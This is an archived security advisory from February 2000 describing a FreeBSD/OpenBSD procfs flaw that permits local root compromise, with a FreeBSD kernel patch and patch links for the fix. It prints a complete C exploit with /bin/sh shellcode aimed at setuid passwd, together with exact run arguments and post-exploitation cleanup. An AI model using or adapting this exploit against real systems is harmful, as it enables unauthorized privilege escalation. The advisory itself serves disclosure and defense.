Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
21th Feb 2000 [SBWID-187]
COMMAND
	    procs
SYSTEMS AFFECTED
	    *BSD
PROBLEM
	    Following is based  on FEAR Advisories.   In January 1997  a fatal
	    flaw in *BSD procfs code (leading to a local root compromise)  was
	    discussed on various security forums.  The exploit code dealt with
	    /proc/pid/mem  interface.   Since  then  *BSD  kernels contained a
	    simple fix  which was  meant to  close this  hole.  Unfortunately,
	    throughout  these  three  years  it  was  still  possible to abuse
	    /proc/pid/mem in a symilar, though more complicated fashion, which
	    could lead to local root compromise.
	    The bug  is present  in kernels  used in  current (and  almost any
	    older) FreeBSD and OpenBSD distributions.   In order to make  this
	    flaw exploitable, procfs filesystem  must be mounted.   In default
	    FreeBSD 3.3  installation, procfs  IS mounted;  in default OpenBSD
	    2.6 installation, it is NOT.  Note that administrators often mount
	    procfs filesystem for its benefits.
	    The  procfs  exploit  code  from  1997  was  straightforward.   An
	    unpriviledged  process  A  forks  off   a  process  B.   A   opens
	    /proc/pid-of-B/mem.  B execs a setuid binary.  Though now B has  a
	    different euid than A, A is  still able to control B's memory  via
	    /proc/pid-of-B/mem descriptor.  Therefore A can change B's flow of
	    execution in an arbitrary way.  In order to stop this exploit,  an
	    additional check was added to the code responsible for I/O on file
	    descriptors    referring    to    procfs    pseudofiles.        In
	    miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
	
	        /*
	         * Check to see whether access to target process is allowed
	         * Evaluates to 1 if access is allowed.
	         */
	        #define CHECKIO(p1, p2) \
	             ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
	               ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
	               ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
	               ((p2)->p_flag & P_SUGID) == 0) || \
	              (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
	
	    As we see, process performing I/O (p1) must have the same uids  as
	    target process (p2),  unless... p1 has  root priviledges.   So, if
	    we can trick a setuid program X into writing to a file  descriptor
	    F referring to a procfs  object, the above check will  not prevent
	    X from writing. As some of readers certainly already have guessed,
	    F's number will  be 2, stderr  fileno... We can  pass to a  setuid
	    program an appropriately lseeked file descriptor no 2 (pointing to
	    some /proc/pid/mem),  and this  program will  blindly write  there
	    error messages.  Such output is often partially controllable (e.g.
	    contains program's name),  so we can  write almost arbitrary  data
	    onto other setuid program's memory.
	    This scenario looks similar to
	
	        close(fileno(stderr)); execl("setuid-program",...)
	
	    exploits, but in  fact differs profoundly.   It exploits the  fact
	    that  the  properties  of  a  fd  pointing  into  procfs  is   not
	    determined fully  by "open"  syscall (all  other fd  are; skipping
	    issues  related  to  securelevels).   These  properties can change
	    because of priviledged code execution. As a result,  (priviledged)
	    children of  some process  P can  inherit a  fd opened read-write,
	    though P can't directly gain such fd via open syscall.
	    The  sample  exploit   below  (for  Intel   platform)  code   runs
	    /usr/bin/passwd, but almost any setuid program can be used.   This
	    code was tested on FreeBSD 2.8, 3.0 and 3.3 as well as on  OpenBSD
	    2.4, 2.5 and 2.6.  The  code overwrites stack with addresses of  a
	    shellcode, which is placed in  an environment variable.  The  code
	    is a bit crude, but there were some obscure problems with building
	    a working exploit.  It requires two arguments: an offset from  the
	    current  stack  pointer  and  an  offset  from  default  shellcode
	    position.   '/procfs_exp  -4000  -10000'  worked  for  all  tested
	    platforms.   Having  seen  "#"  prompt,  one should probably issue
	    "stty sane" command to clean tty state.  On OpenBSD, having gained
	    root prompt one should remove /etc/ptmp file.
	    The discovery of this vulnerability, as well as the sample exploit
	    was done by  Rafal Wojtczuk.   deraadt discarded original  idea of
	    the  fix  because  of  its  inefficiency  and  found a better one.
	    Exploit code:
	
	    /* by Nergal */
	    #include <errno.h>
	    #include <signal.h>
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <unistd.h>
	    #include <fcntl.h>
	    #include <string.h>
	    #include <signal.h>
	    #include <sys/wait.h>
	    char            shellcode[] =
	    "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
	    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
	    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
	    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
	    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
	    #define PASSWD "./passwd"
	    void
	    sg(int x)
	    {
	    }
	    int
	    main(int argc, char **argv)
	    {
		    unsigned int stack, shaddr;
		    int             pid,schild;
		    int             fd;
		    char            buff[40];
		    unsigned int    status;
		    char            *ptr;
		    char            name[4096];
		    char 		sc[4096];
		    char            signature[] = "signature";
		    signal(SIGUSR1, sg);
	    if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
	    {
	    perror("creating symlink:");
	    exit(1);
	    }
		    shaddr=(unsigned int)&shaddr;
		    stack=shaddr-2048;
		    if (argc>1)
		    shaddr+=atoi(argv[1]);
		    if (argc>2)
		    stack+=atoi(argv[2]);
		    fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
		    fprintf(stderr,"Wait for \"Press return\" prompt:\n");
		    memset(sc, 0x90, sizeof(sc));
		    strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
		    strncpy(sc,"EGG=",4);
	    memset(name,'x',sizeof(name));
		    for (ptr = name; ptr < name + sizeof(name); ptr += 4)
			    *(unsigned int *) ptr = shaddr;
		    name[sizeof(name) - 1] = 0;
		    pid = fork();
		    switch (pid) {
		    case -1:
			    perror("fork");
			    exit(1);
		    case 0:
			    pid = getppid();
			    sprintf(buff, "/proc/%d/mem", pid);
			    fd = open(buff, O_RDWR);
			    if (fd < 0) {
				    perror("open procmem");
				    wait(NULL);
				    exit(1);
			    }
			    /* wait for child to execute suid program */
			    kill(pid, SIGUSR1);
			    do {
				    lseek(fd, (unsigned int) signature, SEEK_SET);
			    } while
				    (read(fd, buff, sizeof(signature)) == sizeof(signature) &&
				     !strncmp(buff, signature, sizeof(signature)));
			    lseek(fd, stack, SEEK_SET);
			    switch (schild = fork()) {
			    case -1:
				    perror("fork2");
				    exit(1);
			    case 0:
				    dup2(fd, 2);
				    sleep(2);
				    execl(PASSWD, name, "blahblah", 0);
				    printf("execl failed\n");
				    exit(1);
			    default:
				    waitpid(schild, &status, 0);
			    }
			    fprintf(stderr, "\nPress return.\n");
			    exit(1);
		    default:
			    /* give parent time to open /proc/pid/mem */
			    pause();
			    putenv(sc);
			    execl(PASSWD, "passwd", NULL);
			    perror("execl");
			    exit(0);
		    }
	    }
	
SOLUTION
	    Linux also  features proc  filesystem with  symilar functionality,
	    but it is not vulnerable to  this exploit.  That is so  because on
	    Linux if a process p1 wishes to alter the memory of process p2 via
	    /proc/pid-of-p2/mem, p2 must be traced by p1 (moreover,  mem_write
	    function is  currently defined  as NULL,  so /proc/pid/mem  can be
	    altered  only  with  use  of  mmap;  irrelevant  here).  It may be
	    tempting to impose symilar restriction in *BSD kernels.   However,
	    on *BSD a process p1 can  attach p2 for tracing merely by  writing
	    to /proc/pid-of-p2/ctl file; as we  have just seen it is  possible
	    to force  a setuid  program to  write arbitrary  strings to  /proc
	    files.
	    The solution  (by deraadt)  is to  add a  certain check  in execve
	    syscall.  If a  process X tries to  exec a setuid binary,  we make
	    sure it holds no open descriptors pointing into procfs filesystem.
	    Patches are available on:
	
	        http://www.openbsd.org/errata.html#procfs
	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
	        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20000130-procfs
	
	    This patch  will be  included in  the upcoming  NetBSD 1.4.2 minor
	    release.  NetBSD-current since 20000126 is not vulnerable.   Users
	    of  NetBSD-current  should  upgrade  to  a  source tree later than
	    20000126.
	    Below is FreeBSD patch:
	
	    Index: sys/filedesc.h
	    ===================================================================
	    RCS file: /base/FreeBSD-CVS/src/sys/sys/filedesc.h,v
	    retrieving revision 1.15.2.1
	    diff -u -r1.15.2.1 filedesc.h
	    --- filedesc.h	1999/08/29 16:32:22	1.15.2.1
	    +++ filedesc.h	2000/01/20 21:39:29
	    @@ -139,6 +139,7 @@
	     int	fsetown __P((pid_t, struct sigio **));
	     void	funsetown __P((struct sigio *));
	     void	funsetownlst __P((struct sigiolst *));
	    +void	setugidsafety __P((struct proc *p));
	     #endif
	     #endif
	    Index: kern/kern_descrip.c
	    ===================================================================
	    RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_descrip.c,v
	    retrieving revision 1.58.2.3
	    diff -u -r1.58.2.3 kern_descrip.c
	    --- kern_descrip.c	1999/11/18 08:09:08	1.58.2.3
	    +++ kern_descrip.c	2000/01/20 21:40:00
	    @@ -984,6 +984,62 @@
	     }
	     /*
	    + * For setuid/setgid programs we don't want to people to use that setuidness
	    + * to generate error messages which write to a file which otherwise would
	    + * otherwise be off limits to the proces.
	    + *
	    + * This is a gross hack to plug the hole.  A better solution would involve
	    + * a special vop or other form of generalized access control mechanism.  We
	    + * go ahead and just reject all procfs file systems accesses as dangerous.
	    + *
	    + * Since setugidsafety calls this only for fd 0, 1 and 2, this check is
	    + * sufficient.  We also don't for setugidness since we know we are.
	    + */
	    +static int
	    +is_unsafe(struct file *fp)
	    +{
	    +	if (fp->f_type == DTYPE_VNODE &&
	    +	    ((struct vnode *)(fp->f_data))->v_tag == VT_PROCFS)
	    +		return (1);
	    +	return (0);
	    +}
	    +
	    +/*
	    + * Make this setguid thing safe, if at all possible.
	    + */
	    +void
	    +setugidsafety(p)
	    +	struct proc *p;
	    +{
	    +	struct filedesc *fdp = p->p_fd;
	    +	struct file **fpp;
	    +	char *fdfp;
	    +	register int i;
	    +
	    +	/* Certain daemons might not have file descriptors. */
	    +	if (fdp == NULL)
	    +		return;
	    +
	    +	fpp = fdp->fd_ofiles;
	    +	fdfp = fdp->fd_ofileflags;
	    +	for (i = 0; i <= fdp->fd_lastfile; i++, fpp++, fdfp++) {
	    +		if (i > 2)
	    +			break;
	    +		if (*fpp != NULL && is_unsafe(*fpp)) {
	    +			if (*fdfp & UF_MAPPED)
	    +				(void) munmapfd(p, i);
	    +			(void) closef(*fpp, p);
	    +			*fpp = NULL;
	    +			*fdfp = 0;
	    +			if (i < fdp->fd_freefile)
	    +				fdp->fd_freefile = i;
	    +		}
	    +	}
	    +	while (fdp->fd_lastfile > 0 && fdp->fd_ofiles[fdp->fd_lastfile] == NULL)
	    +		fdp->fd_lastfile--;
	    +}
	    +
	    +/*
	      * Close any files on exec?
	      */
	     void
	    Index: kern/kern_exec.c
	    ===================================================================
	    RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_exec.c,v
	    retrieving revision 1.93.2.3
	    diff -u -r1.93.2.3 kern_exec.c
	    --- kern_exec.c	1999/08/29 16:25:58	1.93.2.3
	    +++ kern_exec.c	2000/01/20 21:39:29
	    @@ -281,6 +281,7 @@
	            if (attr.va_mode & VSGID)
	   	         p->p_ucred->cr_gid = attr.va_gid;
	            setsugid(p);
	    +		setugidsafety(p);
	        } else {
	            if (p->p_ucred->cr_uid == p->p_cred->p_ruid &&
	   	     p->p_ucred->cr_gid == p->p_cred->p_rgid)
	
	

Internet highlights